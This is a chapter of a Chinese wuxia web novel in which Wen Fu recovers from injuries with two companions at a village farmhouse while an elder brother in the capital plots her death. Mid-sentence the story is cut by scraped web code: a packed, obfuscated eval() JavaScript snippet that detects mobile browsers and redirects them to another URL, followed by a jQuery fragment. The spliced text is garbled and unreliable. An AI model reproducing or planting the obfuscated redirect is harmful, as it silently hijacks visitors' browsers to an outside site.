天边云彩被夕阳映的金红,闻赴用手背挡了下,慢慢睁开眼皮。
刚刚只是在这里靠着,竟然又睡着了,从天色看,她睡着最多半个时辰。
晏照霜注意到动静,把烤的一塌糊涂的野鸡扔在地上,朝闻赴走过去,“你醒了。”
闻赴闻着空气里的糊味,看见那只比炭还黑的烤鸡,随口道:“你跟烟儿学炼药了?”
晏照霜:“啊?”然后反应过来闻赴是在嘲讽他的厨艺,也不生气,他哼了声:“不用学,我会煎药。”
闻赴打量四处,明台山众人已经不在。
晏照霜驾车,挺开心的说:“司洛也要去凌霄宗参加比武,过些日子就又能见面了。”
苏烟安安静静在马车里打坐,闻赴时不时指点几句。
晚上到了个小镇,刚投宿,晏照霜就抱着一大包药钻进了厨房。
闻赴睡不着,在院里坐着,没多久,药味儿钻进了她鼻子,真苦。
她敲敲厨房的门框,“你怎么又在煎药?”
晏照霜:“大夫说了,一天两顿,我不会误的。”
闻赴面无表情:“你煎的,你喝。”
晏照霜几乎跳起来:“我才不喝,蜜饯都忘带上了!”话说完想起来,这又不是他的药,他当然不喝了。
他开始好言好语劝闻赴:“这其实也不能叫药,里边都是补品,人参当归黄芪……”
闻赴:“闭嘴。”
晏照霜说:“你不喝我就端着药在你床前等着,我看你晚上能睡着。”
闻赴:“随便。”
晏照霜继续煎药,闻赴回屋,看见烟儿还在打坐。
苏烟睁眼:“姐姐,其实晏照霜买的那些补品,对你是有好处的。”
闻赴:“……”她开始转移话题,“你以前不是不爱习武吗?也不在乎内力。”
苏烟说:“我想彻底炼化青玉鼎。”只有青玉鼎才能炼出治姐姐的药,所以至少,她得先入境。
闻赴指点了苏烟几句,便带上门出去,把空间都留给苏烟。
正好晏照霜端着药在院里徘徊,他刚才话说的痛快,可是大晚上的,他哪里好意思随便进女子的房间。
看见闻赴,他快步追上去,把药碗往过一递,然后又取出两块糖,摊在手心里,笑着说:“我和借宿给咱们的大娘买的。”
月光下,晏照霜笑的很真诚,闻赴似乎嗅到了糖块的甜味儿。
先苦后甜,应该是这样的。
闻赴盯着浓黑的汤药,最后说:“帮我剥一颗。”她端起碗,仰头将汤药一饮而尽。
碗还没放下,甜甜的滋味就从舌尖一圈圈荡开,压制住了苦味。
闻赴把糖含住,像是认清了现实,不再拒绝晏照霜煎药,问他:“我还得喝几顿?”
晏照霜说:“还有八顿。”说完之后他补充,“不过你别担心,后边药喝完了,我会再去买的。”
闻赴把碗塞到晏照霜手里,扭头就走。
闻赴一晚上没睡,她本来就觉少,白天还睡了两次,便干脆在回屋里拿了件披风,在院子里找了个角落打坐调息。
如她所预估的那般,还有二十多天,就可以恢复曾经的八成。
她恍若看不见自己体内的暗伤。
院子外边似乎有很细微的脚步声,闻赴依旧阖着眸子。
另一边,帝京。
闻远清笼着袖子坐在高位:“闻修慎不死,我始终难以心安。可是要真的杀她,我却有些舍不得,毕竟她是我最好的妹妹,她也帮过我不少。”闻远清在习武方面天赋和闻修慎差远了,他让闻修慎给他打通经脉后才勉强入境。
旁边的灰袍男子拱手:“殿下,您三年前心软放过她,她不会记您的恩,只会想着要报仇。况且,”男子往前几步,压低声音,“闻修慎只要回来,就是名正言顺的储君,届时您就更难了。”
闻远清面露难色,“从一开始就误了时机。”最早他摸不准闻修慎准确的位置,只知道在西边,只能各处派些武功低的人广撒网等信,可现在,信报回来了,闻修慎恢复的也差不多了。
他很明白,“我这次派去的,依旧拿不下闻修慎,我知道她,既然敢出现,一两个临仙境巅峰就不是她的对手。”三年前,他整整召集了十五位临仙境巅峰,其他各境高手无数,几乎全部丧命于闻修慎之手,现在还苟延残喘的,也只剩凌霄宗宗主。
凌霄宗宗主那个老东西,也是用了宗门至宝才保了一条命,当年的高手,都没了,他舍不得如当年那样的手笔,也再找不到那么多高手。
灰袍男子抬目直视大皇子:“试剑堂投诚殿下已久,该试试他们的忠诚了。”
闻远清叹气:“那就交给舅父了。”
灰袍男子行礼:“殿下不需如此多礼,只要能助您登上至高之位,一切就都是值得的。”
小院外,七八具尸体倒着,闻赴甚至都没看他们身上有什么能证明身份的物件,直接一瓶融尸水倒上去,半点痕迹不留。
闻赴把披风脱掉,看见上边沾了血,直接扔了。
天蒙蒙亮时,他们投宿的主人家起了床,扛着农具要去下地。
闻赴看见人,摸着自己身上还有些碎银,便一并倒出来,“大伯大娘,这些钱就当我们打搅的房费。”
银票肯定是不能给的,这些农户人家拿着银票去换银子首先不一定能换到,再就是让别人知道有这样一笔横财,恐遭横祸。
大娘推脱着,“小姐,这太多了,我们不能要啊!”十多两银子,他们就是在地里做几年活,都挣不到。
闻赴抓住大娘的手,把银子放在大娘手心里,“您就拿着吧,若不是您和大伯收留我们这一宿,我们就得在外边睡了。”
大伯大娘还是不好意思,闻赴把大娘的手合上,“出门在外,是我们该谢谢您,您若是不收,我们也不好意思再打扰了。”
看着手里的钱,大伯大娘点点头,对闻赴说:“你们别做早饭,大娘去外边给你们买馄饨,我们镇上的馄饨可好吃了,是河里现捞的虾做的。”像他们这样的人家,除非过节,是舍不得吃的。
闻赴点头,笑着说:“好,那就有劳大伯大娘了。”
大伯大娘拿着农具出去,大伯说:“咱们今天早些回来,只锄到太阳起来,别让几个孩子饿着。”
大娘点头:“对,咱们得早点回来……”
声音渐渐走远。
像这样的农户人家,从天不亮出去下地,到中午也是不回来的。
闻赴听见身后有人开门的声音,她转身,笑着打招呼:“早啊。”然后看见晏照霜怀里抱着一包药,脸上的笑容僵住了。
他是真的能记住煎药!
晏照霜看见闻赴,也笑起来:“早!我先去煎药,你想吃什么早饭?”
闻赴想起昨天那只死了还不如活着的烤鸡,连连摆手:“大伯大娘说一会儿回来给咱们买馄饨,不用做饭。”
晏照霜听了很高兴:“那太好了!”
他不会做饭,但闻赴是病号,肯定不能让病号下厨,五小姐更不像会做饭的样子。所以他才打算迎难而上的,谁想吃那么难吃的饭啊?
一听不用自己做饭,晏照霜高兴的差点让门槛绊倒。
小火慢慢煎药,屋顶烟囱的炊烟丝丝缕缕,一轮圆圆的红日已经从山后缓缓上升,晨光照在地上,院里绿油油的菜都更鲜嫩几分。
闻赴偏头看向晏照霜忙碌的身影,唇边带了浅笑。
苏烟顶着两个黑眼圈出来,洗了把脸,晏照霜好奇问她:“你不会一晚上没睡
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17413725|200725||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吧?”
苏烟点头,眯着眼打了个哈欠,问闻赴:“姐姐,你说那些一习武就不分白天黑夜的人,他们不会累吗?”她其实想问的是,以前她记得,姐姐不管是练招式还是修习内功,不管多久,都没像她这样顶着黑眼圈出来过,是天赋的原因吗?
说完这句话,苏烟又大大打了个哈欠。
是真的很困啊!
习武这等事,真不是她这样的凡夫俗子做的!
闻赴说:“你才刚开始修习,不要太着急,重要的是吃好睡好。”她朝屋子那边抬了抬下巴,“再去眯会儿,等大伯大娘回来,我去叫你。”
苏烟打着哈欠回了屋补觉。
晏照霜把药斟出来,问闻赴:“你是打算现在喝,还是吃过饭再喝?”
闻赴走向晏照霜,伸手,端起碗一饮而尽,豪气干云。
晏照霜竖起大拇指,夸赞的话还没说出口,就听闻赴催促:“糖,快点,我要苦死了!”
晏照霜手忙脚乱把剩下的一颗糖剥开喂到闻赴口中,然后才缓缓舒了口气,拍着自己胸脯:“还以为你今天不怕苦了。”
闻赴:“怎么可能?谁会习惯苦?”
只不过是迫不得已的忍受罢了。
大伯大娘在带着街边现做的馄饨回来,虾仁做馅,炖了几个时辰的老鸡汤,鲜香美味。
闻赴深深吸了一口气,笑道:“谢谢大伯大娘,好香啊!”
大伯笑着说:“不用谢不用谢,快尝尝,现在还烫着呢。”
闻赴进屋把苏烟叫出来,苏烟本来迷迷怔怔的,一出来就闻到了香味。
在被囚禁的三年里,苏烟都没吃过什么好吃的东西,舌尖一沾这鲜美的滋味,当即就清醒了,笑着看向大伯大娘:“好香的馄饨,谢谢大伯大娘!”
晏照霜看到除了给他们三人买的馄饨,还有一碗,老两口端着进了屋里。屋里还有个看起来两三岁的孩子,那一碗馄饨原来是给孩子的。
闻赴也注意到了那边,她从窗户里看着大伯大娘含饴弄孙的场景,笑着招呼:“可否再给我一个碗,我吃不了这些。”她趁着还没开始吃,拨出去一半。
晏照霜从自己身上摸了半天,找到一条银链子,逗弄着小孩,把银链留下当了见面礼。
苏烟问:“他的爹娘呢?”
大娘叹气:“山上打猎,遇到大雨,没回来。”孩子还在痴痴的笑,苏烟不禁心疼,她留下两丸丹药给老两口,“只要不是立即毙命的伤病,这丹药都可保住一条命,若是无病无灾,也可延年益寿。”
大娘大伯拒绝道:“几位公子小姐已经给的很多了,这样珍贵的丹药,我们怎么能收?”
苏烟说:“我是医者,这样的丹药,于别人而言难得,于我却不是,您就收下吧。”她把丹药放在桌上,坚决要对方留着。
闻赴等人收拾好东西,与大伯大娘辞别。
离开后,闻赴说:“那丹药,你没有多余的了,对吧?”
苏烟垂着头,软声道:“不是。”
闻赴说:“还有多少,给我。”
苏烟把最后一颗拿出来,抬眸,心虚地看向闻赴。这颗丹药她是给姐姐留的。
闻赴叹气:“刚才我就闻到了,这丹药是失传好多年的仙华丹。”
晏照霜赶紧扭头看向苏烟掌心里的小瓶,“仙华丹?是十成十能让人冲击临仙境巅峰的丹药?”在习武者眼中,冲击临仙境巅峰远比苏烟刚才说的那些功效更重要。
苏烟点头,说:“可惜我找不到药材了,这种丹药并不难炼。”她留下这一颗也不是为了让谁冲击临仙境巅峰,确实是看中了它的保命功效。
在自己入境之前,这颗丹药就是她给姐姐留的最后保障。
入境之后,自然能炼最合适的药。